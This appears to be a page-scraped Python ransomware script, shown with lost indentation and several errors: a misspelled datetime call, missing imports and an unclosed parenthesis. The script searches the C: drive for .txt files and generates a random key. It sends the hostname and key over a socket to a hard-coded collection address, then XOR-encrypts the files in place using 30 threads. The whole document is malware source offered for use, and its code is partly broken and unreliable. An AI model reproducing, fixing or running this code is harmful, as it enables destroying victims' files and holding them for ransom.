You are on page 1of 2

import os

import random
import socket
from typing import Tuple

safeguard = input("please enter the safeguard password:")


if safeguard != 'dolma':
quit()

encrypted_ext =('.txt',)

file_paths =[]
for root,dirs, files in os.walk('C:\\'):
for file in files :
file_path,file_ext = os.path.splitext(root+'\\'+file)
if file_ext in encrypted_ext :
file_paths.append(root+'\\'+file)
for f in file_paths:
print(f)
key=''

encryption_level= 128 // 8

char_pool=''
for i in range(0x00,0xFF):
char_pool+= (chr(i))
print(char_pool)
for i in range(encryption_level):
key+= random.choice(char_pool)
print(key)
Hostname= os.getenv('COMPUTERNAME')

ip_adress='192.168.0.8'
port=5678
time= datatime.now()
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.connect((ip_adress,port))
s.send(f'[{time}] - {Hostname}:{key}'.encode('utf-8'))

def encrypt(key):

while q.not_empty:
file = q.get()
index = 0
max_index = encryption_level - 1

try:
with open(file, 'rb') as f:
data = f.read()
with open(file, 'wb') as f:
for byte in data:
xor_byte = byte ^ ord(key[index])
f.write(xor_byte.to_bytes(1, 'little'))
if index >= max_index:
index = 0
else:
index += 1

except:
print(f'failed to encrypt {file}')
pass
q.task_done()

q = queue()
for file in file_paths:
q.put(file)
for i in range(30):
thread = Thread(target=encrypt, args=(key,),daemon=True
thread.start()

q.join()
print('encryption was succesfull ')

You might also like